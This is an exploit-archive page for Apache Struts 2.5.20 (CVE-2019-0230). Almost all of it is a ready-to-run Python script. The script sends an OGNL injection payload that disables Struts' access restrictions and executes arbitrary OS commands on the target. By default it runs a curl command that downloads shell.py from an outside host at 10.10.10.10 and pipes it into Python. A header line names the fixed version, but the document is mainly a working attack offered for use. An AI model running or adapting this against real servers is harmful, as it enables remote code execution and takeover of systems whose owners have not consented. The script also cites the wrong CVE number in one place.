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Apache Struts 2.5.20 Double OGNL Evaluation

Apache Struts 2.5.20 Double OGNL Evaluation
Posted Nov 17, 2020
Authored by West Shepherd

Apache Struts version 2.5.20 double OGNL evaluation exploit.

tags | exploit
advisories | CVE-2019-0230
SHA-256 | 629df1d936ad8b71638e45b5784ce50f83296d25ceb3b4dc54087062f33fe607

Apache Struts 2.5.20 Double OGNL Evaluation

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# Exploit Title: Apache Struts 2.5.20 - Double OGNL evaluation
# Date: 08/18/2020
# Exploit Author: West Shepherd
# Vendor Homepage: https://struts.apache.org/download.cgi
# Version: Struts 2.0.0 - Struts 2.5.20 (S2-059)
# CVE : CVE-2019-0230
# Credit goes to reporters Matthias Kaiser, Apple InformationSecurity, and the Github example from PrinceFPF.
# Source(s):
# https://github.com/PrinceFPF/CVE-2019-0230
# https://cwiki.apache.org/confluence/display/WW/S2-059
# *Fix it, upgrade to: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.22

# !/usr/bin/python
from sys import argv, exit, stdout, stderr
import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import logging


class Exploit:
def __init__(
self,
target='',
redirect=False,
proxy_address=''
):
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
self.target = target
self.session = requests.session()
self.redirect = redirect
self.timeout = 0.5
self.proxies = {
'http': 'http://%s' % proxy_address,
'https': 'http://%s' % proxy_address
} \
if proxy_address is not None \
and proxy_address != '' else {}
self.query_params = {}
self.form_values = {}
self.cookies = {}
boundary = "---------------------------735323031399963166993862150"
self.headers = {
'Content-Type': 'multipart/form-data; boundary=%s' % boundary,
'Accept': '*/*',
'Connection': 'close'
}
payload = "%{(#nike='multipart/form-data')." \
"(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \
"(#_memberAccess?(#_memberAccess=#dm):" \

"((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
\

"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
\
"(#ognlUtil.getExcludedPackageNames().clear())." \
"(#ognlUtil.getExcludedClasses().clear())." \
"(#context.setMemberAccess(#dm)))).(#cmd='{COMMAND}')." \

"(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
\

"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \
"(#p=new
java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))." \

"(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse()."
\

"getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
\
"(#ros.flush())}"

self.payload = "--%s\r\nContent-Disposition: form-data;
name=\"foo\"; " \
"filename=\"%s\0b\"\r\nContent-Type:
text/plain\r\n\r\nx\r\n--%s--\r\n\r\n" % (
boundary, payload, boundary
)

def do_get(self, url, params=None, data=None):
return self.session.get(
url=url,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
data=data,
params=params
)

def do_post(self, url, data=None, params=None):
return self.session.post(
url=url,
data=data,
verify=False,
allow_redirects=self.redirect,
headers=self.headers,
cookies=self.cookies,
proxies=self.proxies,
params=params
)

def debug(self):
try:
import http.client as http_client
except ImportError:
import httplib as http_client
http_client.HTTPConnection.debuglevel = 1
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.setLevel(logging.DEBUG)
requests_log.propagate = True
return self

def send_payload(self, command='curl --insecure -sv
https://10.10.10.10/shell.py|python -'):
url = self.target
stdout.write('sending payload to %s payload %s' % (url, command))
resp = self.do_post(url=url, params=self.query_params,
data=self.payload.replace('{COMMAND}', command))
return resp


if __name__ == '__main__':
parser = argparse.ArgumentParser(add_help=True,
description='CVE-2020-0230 Struts
2 exploit')
try:
parser.add_argument('-target', action='store', help='Target
address: http(s)://target.com/index.action')
parser.add_argument('-command', action='store',
help='Command to execute: touch /tmp/pwn')
parser.add_argument('-debug', action='store', default=False,
help='Enable debugging: False')
parser.add_argument('-proxy', action='store', default='',
help='Enable proxy: 10.10.10.10:8080')

if len(argv) == 1:
parser.print_help()
exit(1)
options = parser.parse_args()

exp = Exploit(
proxy_address=options.proxy,
target=options.target
)

if options.debug:
exp.debug()
stdout.write('target %s debug %s proxy %s\n' % (
options.target, options.debug, options.proxy
))

result = exp.send_payload(command=options.command)
stdout.write('Response: %d\n' % result.status_code)

except Exception as error:

stderr.write('error in main %s' % str(error))
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